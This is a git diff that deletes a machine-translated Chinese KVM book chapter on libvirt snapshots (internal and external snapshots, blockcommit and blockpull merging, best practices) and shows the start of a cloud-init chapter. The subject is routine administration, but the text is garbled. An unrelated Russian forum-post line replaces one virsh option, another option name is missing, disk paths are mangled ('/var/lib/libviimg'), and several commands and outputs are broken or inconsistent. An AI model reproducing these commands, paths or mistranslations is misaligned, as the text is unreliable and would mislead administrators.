上有任何**输入/输出**(**I/O**)密集型应用在运行,建议首先关闭或挂起访客系统以保证干净的快照。 - -针对`libvirt`个访客的快照主要有两类:内部快照和外部快照;每种快照都有各自的优点和局限性,具体如下: - -* **Internal snapshot**: Internal snapshots are based on `qcow2` files. Before-snapshot and after-snapshot bits are stored in a single disk, allowing greater flexibility. `virt-manager` provides a graphical management utility to manage internal snapshots. The following are the limitations of an internal snapshot: - - A)仅支持`qcow2`格式 - - B)拍摄快照时虚拟机暂停 - - C)不适用于 LVM 存储池 - -* **外部快照**:外部快照是基于 COW 概念的。 拍摄快照时,原始磁盘映像将变为只读,并创建新的覆盖磁盘映像以适应访客写入,如下图所示: - -![Figure 8.29 – Snapshot concept ](img/B14834_08_29.jpg) - -图 8.29-快照概念 - -覆盖盘图像最初被创建为长度为`0`字节,并且它可以增长到原始盘的大小。 覆盖磁盘映像始终为`qcow2`。 但是,外部快照适用于任何基本磁盘映像。 您可以拍摄原始磁盘映像、`qcow2`或任何其他`libvirt`支持的磁盘映像格式的外部快照。 但是,还没有**图形用户界面**(**GUI**)可用于外部快照,因此与内部快照相比,它们的管理成本更高。 - -## 使用内部快照 - -在本节中,您将学习如何创建、删除和恢复 VM 的内部快照(离线/在线)。 您还将学习如何使用`virt-manager`管理内部快照。 - -内部快照仅适用于`qcow2`个磁盘映像,因此首先确保要为其拍摄快照的虚拟机使用`qcow2`格式作为基本磁盘映像。 如果没有,使用`qemu-img`命令将其转换为`qcow2`格式。 内部快照是磁盘快照和虚拟机内存状态的组合-它是一种检查点,您可以在需要时轻松恢复到该检查点。 - -我在这里使用`LAMP01`个虚拟机作为示例来演示内部快照。 `LAMP01`VM 驻留在本地文件系统支持的存储池中,并且有一个`qcow2`映像充当虚拟磁盘。 以下命令会列出与 VM 关联的快照: - -```sh -# virsh snapshot-list LAMP01 -Name Creation Time State -------------------------------------------------- -``` - -可以看到,当前没有与 VM 相关联的现有快照;`LAMP01``virsh snapshot-list`命令列出了给定 VM 的所有可用快照。 默认信息包括快照名称、创建时间和域状态。 通过向`snapshot-list`命令传递附加选项,可以列出许多其他与快照相关的信息。 - -### 创建第一个内部快照 - -为 KVM 主机上的 VM 创建内部快照的最简单且首选的方法是通过`virsh`命令。 `virsh`具有一系列用于创建和管理快照的选项,如下所示: - -* `snapshot-create`:使用 XML 文件创建快照 -* `snapshot-create-as`:使用参数列表创建快照 -* `snapshot-current`:获取或设置当前快照 -* _:删除到虚拟机快照 -* `snapshot-dumpxml`:以 XML 格式转储快照配置 -* `snapshot-edit`:编辑快照的 XML -* `snapshot-info`:获取快照信息 -* `snapshot-list`:列出虚拟机快照 -* `snapshot-parent`:获取快照父名称 -* 帖子主题:Re:Колибриобработаетсяпрограмма - -以下是创建快照的简单示例。 运行以下命令将为`LAMP01`VM 创建内部快照: - -```sh -# virsh snapshot-create LAMP01 -Domain snapshot 1439949985 created -``` - -默认情况下,新创建的快照的名称为唯一编号。 要使用自定义名称和描述创建快照,请使用`snapshot-create-as`命令。 这两个命令的不同之处在于,后一个命令允许将配置参数作为参数传递,而前一个命令不允许。 它只接受 XML 文件作为输入。 我们在本章中使用`snapshot-create-as`,因为它更方便、更容易使用。 - -### 使用自定义名称和描述创建内部快照 - -要使用名称`Snapshot 1`和描述`First snapshot`为`LAMP01`VM 创建内部快照,请键入以下命令: - -```sh -# virsh snapshot-create-as LAMP01 --name "Snapshot 1" --description "First snapshot" --atomic -``` - -通过指定`--atomic`选项,`libvirt`将确保快照操作成功或失败时不会发生任何更改。 始终建议使用`--atomic`选项,以避免在拍摄快照时损坏。 现在,检查此处的`snapshot-list`输出: - -```sh -# virsh snapshot-list LAMP01 -Name Creation Time State ----------------------------------------------------- -Snapshot1 2020-02-05 09:00:13 +0230 running -``` - -我们的第一个快照可以使用了,如果将来出现问题,我们现在可以使用它来恢复 VM 的状态。 此快照是在虚拟机处于运行状态时拍摄的。 完成快照创建的时间取决于虚拟机拥有多少内存,以及访客此时修改该内存的活跃程度。 - -请注意,在创建快照的过程中,虚拟机将进入暂停模式;因此,始终建议您在虚拟机未运行时拍摄快照。 从关闭的个访客拍摄快照可确保数据完整性。 - -### 创建多个快照 - -我们可以根据需要继续创建更多个快照。 例如,如果我们再创建两个快照,总共有三个快照,`snapshot-list`的输出将如下所示: - -```sh -# virsh snapshot-list LAMP01 --parent -Name Creation Time State Parent --------------------------------------------------------------------- -Snapshot1 2020-02-05 09:00:13 +0230 running (null) -Snapshot2 2020-02-05 09:00:43 +0230 running Snapshot1 -Snapshot3 2020-02-05 09:01:00 +0230 shutoff Snapshot2 -``` - -这里,我们使用了`--parent`开关,它打印快照的父子关系。 第一个快照的父项是`(null)`,这意味着它是直接在磁盘映像上创建的,`Snapshot1`是`Snapshot2`的父项,`Snapshot2`是`Snapshot3`的父项。 这有助于我们了解快照的顺序。 还可以使用`--tree`选项获取快照的树状视图,如下所示: - -```sh -# virsh snapshot-list LAMP01 --tree -Snapshot1 -   | -  +- Snapshot2 -       | -      +- Snapshot3 -``` - -现在,检查`state`列,它告诉我们特定快照是实时的还是离线的。 在前面的示例中,第一个和第二个快照是在虚拟机运行时拍摄的,而第三个快照是在虚拟机关闭时拍摄的。 - -恢复到关闭状态快照将导致虚拟机关闭。 您还可以使用`qemu-img`命令实用程序获取有关内部快照的更多信息-例如,快照大小、快照标记等。 在下面的示例输出中,您可以看到名为`LAMP01.qcow2`的磁盘有三个不同标签的快照。 这还会向您显示拍摄特定快照的时间及其日期和时间: - -```sh -# qemu-img info /var/lib/libvirt/qemu/LAMP01.qcow2 -image: /var/lib/libvirt/qemu/LAMP01.qcow2 -file format: qcow2 -virtual size: 8.0G (8589934592 bytes) -disk size: 1.6G -cluster_size: 65536 -Snapshot list: -ID TAG VM SIZE DATE VM CLOCK -1 1439951249 220M 2020-02-05 09:57:29 00:09:36.885 -2 Snapshot1 204M 2020-02-05 09:00:13 00:01:21.284 -3 Snapshot2 204M 2020-02-05 09:00:43 00:01:47.308 -4 Snapshot3 0 2020-02-05 09:01:00 00:00:00.000 -``` - -这也可用于使用`check`开关检查`qcow2`映像的完整性,如下所示: - -```sh -# qemu-img check /var/lib/libvirt/qemu/LAMP01.qcow2 -No errors were found on the image. -``` - -如果映像中发生任何损坏,前面的命令将抛出错误。 一旦在`qcow2`映像中检测到错误,应立即从虚拟机进行备份。 - -### 恢复到内部快照 - -拍摄快照的主要目的是在需要时恢复到 VM 的干净/工作状态。 让我们举个例子。 假设在获取 VM 的`Snapshot3`之后,您安装了一个应用,该应用扰乱了系统的整个配置。 在这种情况下,VM 可以很容易地恢复到创建`Snapshot3`时的状态。 要恢复到快照,请使用`snapshot-revert`命令,如下所示: - -```sh -# virsh snapshot-revert --snapshotname "Snapshot1" -``` - -如果要将关闭的快照恢复到,则必须手动启动虚拟机。 将`--running`开关与`virsh snapshot-revert`配合使用可自动启动。 - -### 删除内部快照 - -一旦您确定您不再需要快照,您可以(也应该)删除它以节省空间。 要删除 VM 的快照,请使用`snapshot-delete`命令。 从上一个示例中,让我们删除第二个快照,如下所示: - -```sh -# virsh snapshot-list LAMP01 -Name Creation Time State ------------------------------------------------------- -Snapshot1 2020-02-05 09:00:13 +0230 running -Snapshot2 2020-02-05 09:00:43 +0230 running -Snapshot3 2020-02-05 09:01:00 +0230 shutoff -Snapshot4 2020-02-18 03:28:36 +0230 shutoff -# virsh snapshot-delete LAMP01 Snapshot 2 -Domain snapshot Snapshot2 deleted -# virsh snapshot-list LAMP01 -Name Creation Time State ------------------------------------------------------- -Snapshot1 2020-02-05 09:00:13 +0230 running -Snapshot3 2020-02-05 09:00:43 +0230 running -Snapshot4 2020-02-05 10:17:00 +0230 shutoff -``` - -现在让我们检查一下如何使用`virt-manager`(我们用于虚拟机管理的 GUI 实用程序)执行这些过程。 - -## 使用 virt-manager 管理快照 - -如您所料,`virt-manager`有一个用于创建和管理 VM 快照的用户界面。 目前,它只支持`qcow2`个图像,但很快就会支持个原始图像。 使用`virt-manager`拍摄快照实际上非常简单;要开始使用,请打开 VM Manager 并单击要为其拍摄快照的 VM。 - -工具栏上显示快照用户界面按钮(在下面的屏幕截图上用红色标记);此按钮仅在 VM 使用`qcow2`磁盘时激活: - -![Figure 8.30 – Working with snapshots from virt-manager ](img/B14834_08_30.jpg) - -图 8.30-使用 virt-manager 中的快照 - -然后,如果我们想要拍摄快照,只需使用**+**按钮,这将打开一个简单的向导,以便我们可以为快照指定名称和描述,如以下屏幕截图所示: - -![Figure 8.31 – Create snapshot wizard ](img/B14834_08_31.jpg) - -图 8.31-创建快照向导 - -接下来让我们看看如何使用外部磁盘快照,这是一种更快、更现代(尽管不是很成熟)的 KVM/VM 快照概念。 请记住,外部快照将继续存在,因为它们具有对现代生产环境非常重要的更多功能。 - -## 使用外部磁盘快照 - -在上一节中,您了解了关于内部快照的知识。 内部快照的创建和管理非常简单。 现在,让我们研究一下外部快照。 外部快照都是关于`overlay_image`和`backing_file`的。 基本上,它将`backing_file`变为只读状态,并在`overlay_image`上开始写入。 这两个镜像的描述如下: - -* `backing_file`:虚拟机的原始磁盘镜像(只读) -* `overlay_image`:快照图像(可写) - -如果出现问题,您只需丢弃`overlay_image`图像,即可返回到原始状态。 - -对于外部磁盘快照,`backing_file`映像可以是任何磁盘映像(`raw`;`qcow`;甚至`vmdk`),这与仅支持`qcow2`映像格式的内部快照不同。 - -### 创建外部磁盘快照 - -我们在这里使用`WS2019SQL-Template`VM 作为示例来演示外部快照。 此 VM 驻留在名为`vmstore1`的文件系统存储池中,并具有充当虚拟磁盘的原始映像。 以下代码片段提供了此 VM 的详细信息: - -```sh -# virsh domblklist WS2019SQL-Template --details -Type Device Target Source ------------------------------------------------- -file disk vda /var/lib/libviimg/WS2019SQL-Template.img -``` - -让我们看看如何创建此虚拟机的外部快照,如下所示: - -1. Check if the VM you want to take a snapshot of is running, by executing the following code: - - ```sh - # virsh list - Id Name State - ----------------------------------------- - 4 WS2019SQL-Template running - ``` - - 您可以在虚拟机运行或关闭时拍摄外部快照。 支持实时和离线快照方法。 - -2. Create a VM snapshot via `virsh`, as follows: - - ```sh - # virsh snapshot-create-as WS2019SQL-Template snapshot1 "My First Snapshot" --disk-only --atomic - ``` - - 参数`--disk-only`创建磁盘快照。 这是为了诚信和避免任何可能的腐败。 - -3. 现在,检查`snapshot-list`输出,如下所示: - - ```sh - # virsh snapshot-list WS2019SQL-Template - Name Creation Time State - ---------------------------------------------------------- - snapshot1 2020-02-10 10:21:38 +0230 disk-snapshot - ``` - -4. 现在,快照已经拍摄了,但它只是磁盘状态的快照;内存的内容还没有存储,如下面的屏幕截图所示: - - ```sh - # virsh snapshot-info WS2019SQL-Template snapshot1 - Name: snapshot1 - Domain: WS2019SQL-Template - Current: no - State: disk-snapshot - Location: external << - Parent: - - Children: 1 - Descendants: 1 - Metadata: yes - ``` - -5. Now, list all the block devices associated with the VM once again, as follows: - - ```sh - # virsh domblklist WS2019SQL-Template - Target Source - ------------------------------------ - vda /var/lib/libviimg/WS2019SQL-Template.snapshot1 - ``` - - 请注意,在拍摄快照后,源发生了更改。 让我们收集有关这个新的`image /var/lib/libviimg/WS2019SQL-Template.snapshot1`快照的更多信息,如下所示: - - ```sh - # qemu-img info /var/lib/libviimg/WS2019SQL-Template.snapshot1 - image: /var/lib/libviimg/WS2019SQL-Template.snapshot1 - file format: qcow2 - virtual size: 19G (20401094656 bytes) - disk size: 1.6M - cluster_size: 65536 - backing file: /var/lib/libviimg/WS2019SQL-Template.img - backing file format: raw - ``` - - 请注意,备份文件字段指向`/var/lib/libviimg/WS2019SQL-Template.img`。 - -6. This indicates that the new `image /var/lib/libviimg/WS2019SQL-Template.snapshot1` snapshot is now a read/write snapshot of the original image, `/var/lib/libviimg/WS2019SQL-Template.img`; any changes made to `WS2019SQL-Template.snapshot1` will not be reflected in `WS2019SQL-Template.img`. - - 重要音符 - - `/var/lib/libviimg/WS2019SQL-Template.img`是备份文件(原盘)。 - - `/var/lib/libviimg/WS2019SQL-Template.snapshot1`是新创建的覆盖映像,所有写入现在都在这里进行。 - -7. 现在,让我们再创建一个快照: - - ```sh - # virsh snapshot-create-as WS2019SQL-Template snapshot2 --description "Second Snapshot" --disk-only --atomic - Domain snapshot snapshot2 created - # virsh domblklist WS2019SQL-Template --details - Type Device Target Source - ------------------------------------------------ - file disk vda /snapshot_store/WS2019SQL-Template.snapshot2 - ``` - -在这里,我们使用`--diskspec`选项在所需位置创建快照。 该选项需要以`disk[,snapshot=type][,driver=type][,file=name]`格式进行格式化。 以下是使用的参数所表示的含义: - -* `disk`:`virsh domblklist `中显示的目标磁盘。 -* `snapshot`:内部或外部。 -* `driver`:`libvirt`。 -* `file`:要在其中创建结果快照磁盘的位置的路径。 您可以使用任何位置;只需确保设置了适当的权限即可。 - -让我们再创建一个快照,如下所示: - -```sh -# virsh snapshot-create-as WS2019SQL-Template snapshot3 --description "Third Snapshot" --disk-only --quiesce -Domain snapshot snapshot3 created -``` - -请注意,这一次,我又添加了一个选项:`--quiesce`。 让我们在下一节讨论这个问题。 - -### 什么是静默? - -Quiesce 是一种文件系统冻结(`fsfreeze`/`fsthaw`)机制。 这会使访客文件系统处于一致状态。 如果不执行此步骤,则任何等待写入磁盘的内容都不会包括在快照中。 此外,在快照过程中所做的任何更改都可能损坏映像。 要解决此问题,需要在访客上安装`qemu-guest`代理并在其内部运行。 快照创建将失败,并显示错误,如下所示: - -```sh -error: Guest agent is not responding: Guest agent not available for now -``` - -为安全起见,在拍摄快照时始终使用此选项。 访客工具安装将在[*章*](05.html#_idTextAnchor079),*Libvirt Storage*中介绍;如果虚拟机中尚未安装访客代理,您可能希望重新了解这一点并将其安装到您的 VM 中。 - -到目前为止,我们已经创建了三个快照。 让我们看看它们是如何相互连接的,以了解外部快照链是如何形成的,如下所示: - -1. 列出与虚拟机关联的所有快照,如下所示: - - ```sh - # virsh snapshot-list WS2019SQL-Template - Name Creation Time State - ---------------------------------------------------------- - snapshot1 2020-02-10 10:21:38 +0230 disk-snapshot - snapshot2 2020-02-10 11:51:04 +0230 disk-snapshot - snapshot3 2020-02-10 11:55:23 +0230 disk-snapshot - ``` - -2. 通过运行以下代码检查哪个是虚拟机的当前活动(读/写)磁盘/快照: - - ```sh - # virsh domblklist WS2019SQL-Template - Target Source - ------------------------------------------------ - vda /snapshot_store/WS2019SQL-Template.snapshot3 - ``` - -3. 您可以使用`qemu-img`提供的`--backing-chain`选项枚举当前活动(读/写)快照的备份文件链。 `--backing-chain`将向我们展示磁盘映像链中的整个父子关系树。 有关详细说明,请参阅以下代码片段: - - ```sh - # qemu-img info --backing-chain /snapshot_store/WS2019SQL-Template.snapshot3|grep backing - backing file: /snapshot_store/WS2019SQL-Template.snapshot2 - backing file format: qcow2 - backing file: /var/lib/libviimg/WS2019SQL-Template.snapshot1 - backing file format: qcow2 - backing file: /var/lib/libviimg/WS2019SQL-Template.img - backing file format: raw - ``` - -从上面的细节可以看出,链条是以如下方式形成的: - -![Figure 8.32 – Snapshot chain for our example VM ](img/B14834_08_32.jpg) - -图 8.32-我们示例虚拟机的快照链 - -因此,必须按照的方式读取:`snapshot3`将`snapshot2`作为其备份文件;`snapshot2`将`snapshot1`作为其备份文件;以及`snapshot1`将基本映像作为其备份文件。 当前,`snapshot3`是当前的活动快照,实时访客写入发生在该快照中。 - -### 恢复到外部快照 - -在某些较旧的 RHEL/CentOS 版本中,`libvirt` 中的外部快照支持不完整,甚至在最近的 RHEL/CentOS 7.5 版本中也是如此。 快照可以在线或离线创建,在 RHEL/CentOS 8.0 中,快照的传输方式发生了重大变化。 对于初学者,Red Hat 建议现在使用外部快照。 此外,引用红帽的话: - -RHEL 8 中不支持创建或加载正在运行的 VM 的快照(也称为实时快照)。此外,请注意,RHEL 8 中不建议使用非实时 VM 快照。因此,支持创建或加载关闭的 VM 的快照,但 Red Hat 建议不要使用它。 - -需要注意的是,`virt-manager`仍然不支持外部快照,如下面的屏幕截图所示,而且当我们在几页前创建这些快照时,我们从未获得选择外部快照作为快照类型的选项: - -![Figure 8.33 – All snapshots made from virt-manager and libvirt commands without additional options are internal snapshots ](img/B14834_08_33.jpg) - -图 8.33-从 virt-manager 和 libvirt 命令创建的所有快照(没有附加选项)都是内部快照 - -现在,我们还使用了`WS2019SQL-Template`个 VM,并在其上创建了*个外部*个快照,因此情况有所不同。 我们来检查一下,如下所示: - -![Figure 8.34 – WS2019SQL-Template has external snapshots ](img/B14834_08_34.jpg) - -图 8.34-WS2019SQL-模板有外部快照 - -我们可以采取的下一步是恢复到以前的状态-例如,`snapshot3`。 通过使用`virsh snapshot-revert`命令,我们可以很容易地从 shell 执行操作,如下所示: - -```sh -# virsh snapshot-revert WS2019SQL-Template --snapshotname "snapshot3" -error: unsupported configuration: revert to external snapshot not supported yet -``` - -这是否意味着,一旦为虚拟机拍摄了外部磁盘快照,就无法恢复到该快照? 不-不是这样的;您绝对可以恢复到快照,但是没有 `libvirt`支持来实现这一点。 您必须通过操作域 XML 文件手动恢复。 - -以具有三个关联快照的`WS2019SQL-Template`虚拟机为例,如下所示: - -```sh -virsh snapshot-list WS2019SQL-Template -Name Creation Time State ------------------------------------------------------------- -snapshot1 2020-02-10 10:21:38 +0230 disk-snapshot -snapshot2 2020-02-10 11:51:04 +0230 disk-snapshot -snapshot3 2020-02-10 11:55:23 +0230 disk-snapshot -``` - -假设您想恢复到`snapshot2`。 解决方案是关闭虚拟机(是-强制关闭/关机),并编辑其 XML 文件以指向作为引导映像的`snapshot2`磁盘映像,如下所示: - -1. 找到与`snapshot2`关联的磁盘映像。 我们需要图像的绝对路径。 您可以简单地查看存储池并获得路径,但最好的选择是检查快照 XML 文件。 多么?。 从`virsh`命令获取帮助,如下所示: - - ```sh - # virsh snapshot-dumpxml WS2019SQL-Template --snapshotname snapshot2 | grep - 'source file' | head -1 - - ``` - -2. `/snapshot_store/WS2019SQL-Template.snapshot2` is the file associated with `snapshot2`. Verify that it's intact and properly connected to the `backing_file`, as follows: - - ```sh - # qemu-img check /snapshot_store/WS2019SQL-Template.snapshot2 - No errors were found on the image. - 46/311296 = 0.01% allocated, 32.61% fragmented, 0.00% compressed - clusters - Image end offset: 3670016 - ``` - - 如果对照图像没有产生错误,这意味着`backing_file`正确地指向了`snapshot1`磁盘。 都很好。 如果在`qcow2`图像中检测到错误,请使用`-r leaks/all`参数。 它可能有助于修复不一致,但不能保证这一点。 请查看`qemu-img`手册页中的以下摘录: - -3. 将-r 开关与 qemu-img 配合使用时,会尝试修复发现的任何不一致 -4. 在检查过程中。 -r leakes 仅修复群集泄漏,而-r all 修复所有 -5. 各种错误,选择错误修复或隐藏的风险更高 -6. Corruption that has already occurred. - - 让我们来看看关于这个快照的信息,如下所示: - - ```sh - # qemu-img info /snapshot_store/WS2019SQL-Template.snapshot2 | grep backing - backing file: /var/lib/libviimg/WS2019SQL-Template.snapshot1 - backing file format: qcow2 - ``` - -7. It is time to manipulate the XML file. You can remove the currently attached disk from the VM and `add /snapshot_store/WS2019SQL-Template.snapshot2`. Alternatively, edit the VM's XML file by hand and modify the disk path. One of the better options is to use the `virt-xml` command, as follows: - - ```sh - # virt-xml WS2019SQL-Template --remove-device --disk target=vda - # virt-xml --add-device --disk /snapshot_store/WS2019SQL-Template.snapshot2,fo - rmat=qcow2,bus=virtio - ``` - - 这将添加`WS2019SQL-Template.snapshot2`作为虚拟机的引导磁盘;您可以通过执行以下命令进行验证: - - ```sh - # virsh domblklist WS2019SQL-Template - Target Source - ------------------------------------------------ - vda /snapshot_store/WS2019SQL-Template.snapshot2 - ``` - - 有许多选项可以使用`virt-xml`命令操作 VM XML 文件。 请参考它的手册页来熟悉它。 它还可以在脚本中使用。 - -8. 启动 VM,您将返回到获取`snapshot2`时的状态。 同样,您可以在需要时恢复到`snapshot1`或基本图像。 - -我们列表中的下一个主题是关于删除外部磁盘快照的,正如我们所提到的,这有点复杂。 让我们看看下一步如何做到这一点。 - -### 删除外部磁盘快照 - -删除外部快照有点棘手。 与内部快照不同,外部快照不能直接删除。 首先需要手动将其与基本层或朝向活动层合并,然后才能将其移除。 有两种活动数据块操作可用于合并在线快照,如下所示: - -* `blockcommit`:将数据与基本层合并。 使用此合并机制,您可以将叠加图像合并到备份文件中。 这是最快的快照合并方法,因为覆盖图像可能比背景图像小。 -* `blockpull`:向活动层合并数据。 使用此合并机制,您可以合并来自`backing_file`的数据以覆盖图像。 生成的文件将始终为`qcow2`格式。 - -接下来,我们将阅读有关使用`blockcommit`合并外部快照的内容。 - -#### 使用块提交合并外部快照 - -我们创建了一个名为`VM1`的新 VM,它有一个名为`vm1.img`的基本映像(RAW),其中包含四个外部快照链。 `/var/lib/libviimg/vm1.snap4`是发生实时写入的活动快照映像;其余为只读模式。 我们的目标是删除与此虚拟机关联的所有快照,如下所示: - -1. List the current active disk image in use, like this: - - ```sh - # virsh domblklist VM1 - Target Source - ---------------------------- - hda /var/lib/libviimg/vm1.snap4 - ``` - - 在这里,我们可以验证`the /var/lib/libviimg/vm1.snap4`映像是否为所有写入都发生在其上的当前活动映像。 - -2. 现在枚举`/var/lib/libviimg/vm1.snap4`的备份文件链,如下所示: - - ```sh - # qemu-img info --backing-chain /var/lib/libviimg/vm1.snap4 | grep backing - backing file: /var/lib/libviimg/vm1.snap3 - backing file format: qcow2 - backing file: /var/lib/libviimg/vm1.snap2 - backing file format: qcow2 - backing file: /var/lib/libviimg/vm1.snap1 - backing file format: qcow2 - backing file: /var/lib/libviimg/vm1.img - backing file format: raw - ``` - -3. 将所有快照图像合并到基本图像中的时间,如下所示: - - ```sh - # virsh blockcommit VM1 hda --verbose --pivot --active - Block Commit: [100 %] - Successfully pivoted - 4\. Now, check the current active block device in use: - # virsh domblklist VM1 - Target Source - -------------------------- - hda /var/lib/libviimg/vm1.img - ``` - -请注意,现在,当前的活动块设备是基本映像,所有写入都切换到它,这意味着我们成功地将快照映像合并到基本映像中。 但以下代码片段中的`snapshot-list`输出显示仍有与 VM 关联的快照: - -```sh -# virsh snapshot-list VM1 -Name Creation Time State ------------------------------------------------------ -snap1 2020-02-12 09:10:56 +0230 shutoff -snap2 2020-02-12 09:11:03 +0230 shutoff -snap3 2020-02-12 09:11:09 +0230 shutoff -snap4 2020-02-12 09:11:17 +0230 shutoff -``` - -如果您想要消除这一点,则需要删除相应的元数据并删除快照图像。 如前所述,`libvirt`并不完全支持外部快照。 目前,它只能合并图像,但不支持自动删除快照元数据和覆盖图像文件。 这必须手动完成。 要删除快照元数据,请运行以下代码: - -```sh -# virsh snapshot-delete VM1 snap1 --children --metadata -# virsh snapshot-list VM1 -Name Creation Time State -``` - -在本例中,我们学习了如何使用`blockcommit`方法合并外部快照。 接下来,让我们学习如何使用`blockpull`方法合并外部快照。 - -#### 使用数据块拉取合并外部快照 - -我们创建了一个名为`VM2`的新 VM,它有一个名为`vm2.img`的基本映像(RAW),只有一个外部快照。 快照磁盘是活动映像,其中发生实时写入,基本映像处于只读模式。 我们的目标是删除与此 VM 关联的快照。 请按以下步骤进行操作: - -1. List the current active disk image in use, like this: - - ```sh - # virsh domblklist VM2 - Target Source - ---------------------------- - hda /var/lib/libviimg/vm2.snap1 - ``` - - 在这里,我们可以验证`/var/lib/libviimg/vm2.snap1`映像是否是所有写入都发生在其上的当前活动映像。 - -2. 现在枚举`/var/lib/libvirt/imagesvar/lib/libviimg/vm2.snap1`的备份文件链,如下所示: - - ```sh - # qemu-img info --backing-chain /var/lib/libviimg/vm2.snap1 | grep backing - backing file: /var/lib/libviimg/vm1.img - backing file format: raw - ``` - -3. Merge the base image into the snapshot image (base to overlay image merging), like this: - - ```sh - # virsh blockpull VM2 --path /var/lib/libviimg/vm2.snap1 --wait --verbose - Block Pull: [100 %] - Pull complete - ``` - - 现在,检查`/var/lib/libviimg/vm2.snap1`的大小。 它变得相当大,因为我们提取了`base_image`并将其合并到快照映像中以获得单个文件。 - -4. 现在,您可以删除`base_image`和快照元数据,如下所示: - - ```sh - # virsh snapshot-delete VM2 snap1 --metadata - ``` - -我们在虚拟机处于运行状态时运行了合并和快照删除任务,没有任何停机时间。 `blockcommit`和`blockpull`还可用于从快照链中移除特定快照。 请参阅`virsh`的手册页以获取更多信息并亲自尝试。 您还可以在本章的*进一步阅读*一节中找到一些其他链接,因此请务必仔细阅读它们。 - -# 使用快照时的使用情形和最佳做法 - -我们提到,在 IT 世界中,关于快照存在着一种爱恨交加的关系。 让我们讨论一下使用快照时的原因和一些常识最佳实践,如下所示: - -* 拍摄 VM 快照时,您将创建 VM 磁盘`qemu2`或原始文件的新增量副本,然后写入该增量。 因此,您写入的数据越多,提交并将其合并回父级所需的时间就越长。 可以-您最终将需要提交快照,但不建议您在投入生产时将快照连接到虚拟机。 -* 快照不是备份;它们只是在特定时间点拍摄的状态图片,您可以在需要时恢复到该状态。 因此,不要依赖它作为直接备份过程。 为此,您应该实施备份基础架构和战略。 -* 不要长时间保留与快照相关联的虚拟机。 一旦您确认不再需要恢复到拍摄快照时的状态,请立即合并并删除快照。 -* 尽可能使用外部快照。 与内部快照相比,外部快照中损坏的可能性要低得多。 -* 限制快照计数。 在不进行任何清理的情况下连续拍摄多个快照可能会影响虚拟机和主机性能,因为`qemu`必须遍历快照链中的每个映像才能从`base_image`读取新文件。 -* 在拍摄快照之前,请在虚拟机中安装访客代理。 快照过程中的某些操作可以通过访客内部的支持进行改进。 -* 拍摄快照时始终使用`--quiesce`和`--atomic`选项。 - -如果您正在使用这些最佳实践,我们很乐意推荐您使用快照。 它们会让你的生活变得容易得多,并给你一个可以回头看的点,而不会带来所有的问题和喧嚣。 - -# 摘要 - -在本章中,您学习了如何使用`libguestfs`实用程序修改 VM 磁盘、创建模板和管理快照。 我们还研究了虚拟机的`virt-builder`和各种配置方法,因为这些都是现实世界中最常见的场景。 在关于`cloud-init`的下一章中,我们将进一步了解大量部署 VM 的概念(提示:云服务)。 - -# 问题 - -1. 我们为什么需要修改虚拟机磁盘? -2. 我们如何将 VM 转换为 KVM? -3. 我们为什么要使用 VM 模板? -4. 我们如何创建基于 Linux 的模板? -5. 如何创建基于 Microsoft Windows 的模板? -6. 您知道哪些用于从模板部署的克隆机制? 它们之间有什么不同? -7. 为什么我们使用`virt-builder`? -8. 我们为什么要使用快照? -9. 使用快照的最佳做法是什么? - -# 进一步阅读 - -有关本章内容的更多信息,请参阅以下链接: - -* `libguesfs`文档:[http://libguestfs.org/](http://libguestfs.org/) -* `virt-builder`:[http://libguestfs.org/virt-builder.1.html](http://libguestfs.org/virt-builder.1.html) -* 管理快照:[https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/virtualization_deployment_and_administration_guide/sect-managing_guests_with_the_virtual_machine_manager_virt_manager-managing_snapshots](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/virtualization_deployment_and_administration_guide/sect-managing_guests_with_the_virtual_machine_manager_virt_manager-managing_snapshots) -* 使用`virt-builder`:[http://www.admin-magazine.com/Articles/Generate-VM-Images-with-virt-builder](http://www.admin-magazine.com/Articles/Generate-VM-Images-with-virt-builder)生成虚拟机映像 -* 动车组快照文档:[http://wiki.qemu.org/Features/Snapshots](http://wiki.qemu.org/Features/Snapshots) -* `libvirt`-快照 xml 格式:[https://libvirt.org/formatsnapshot.html](https://libvirt.org/formatsnapshot.html)*** \ No newline at end of file diff --git a/docs/master-kvm-virtual/09.md b/docs/master-kvm-virtual/09.md deleted file mode 100644 index d4252cdd..00000000 --- a/docs/master-kvm-virtual/09.md +++ /dev/null @@ -1,489 +0,0 @@ -# 九、使用 cloud-init 定制虚拟机 - -自定义虚拟机通常看起来很简单-从模板克隆它;开始;单击几个**下一步**按钮(或文本选项卡);创建一些用户、密码和组;配置网络设置……。 这可能适用于一两台虚拟机。 但是,如果我们必须部署两三百台虚拟机并对其进行配置,会发生什么情况呢? 突然之间,我们面临着一项艰巨的任务-如果我们每件事都是手工完成的,这项任务很容易出错。 我们这样做是在浪费宝贵的时间,而不是以一种更精简、更自动化的方式配置它们。 这就是 cloud-init 派上用场的地方,因为它可以定制我们的虚拟机,在虚拟机上安装软件,并且可以在第一次和随后的虚拟机引导时执行此操作。 因此,让我们讨论 cloud-init 以及它如何为您的大规模配置梦魇带来价值。 - -在本章中,我们将介绍以下主题: - -* 虚拟机定制的需求是什么? -* 了解 Cloud-Init -* 云初始架构 -* 如何在引导时安装和配置 cloud-init -* 云初始图像 -* 云初始化数据源 -* 将元数据和用户数据传递给 cloud-init -* 有关如何将 cloud-config 脚本与 cloud-init 一起使用的示例 - -# 虚拟机定制的需求是什么? - -一旦你真正开始使用虚拟机并学习如何掌握它们,你就会注意到有一件事似乎经常发生:虚拟机部署。 因为一切都很容易配置和部署,所以您将开始为几乎任何东西创建虚拟机的新实例,有时甚至是,以检查特定的应用是否在特定版本的操作系统上运行。 这使您作为开发人员和系统管理员的工作变得容易得多,但也带来了一系列问题。 最困难的问题之一是模板管理。 即使您只有一小部分不同的服务器和相对较少的不同配置,事情也会开始增加,如果您决定通过 KVM 以正常方式管理模板,那么组合的数量很快就会太多。 - -您很快就会面临的另一个问题是兼容性。 当您退出您选择的 Linux 发行版,并且您必须部署另一个拥有自己的规则和部署策略的 Linux 发行版时,事情将开始变得复杂起来。 通常,最大的问题是系统定制。 在网络设置和主机名方面,网络上的每台计算机都应该有自己唯一的身份。 拥有使用 DHCP 网络配置的模板可以解决其中一个问题,但这远远不足以使事情变得更简单。 例如,我们可以将 Kickstart 用于 CentOS/RHEL 和兼容的 Linux 发行版。 KickStart 是在部署系统时配置系统的一种方式,如果您使用这些特定的发行版,这可能是快速部署物理机或虚拟机的最佳方式。 另一方面,KickStart 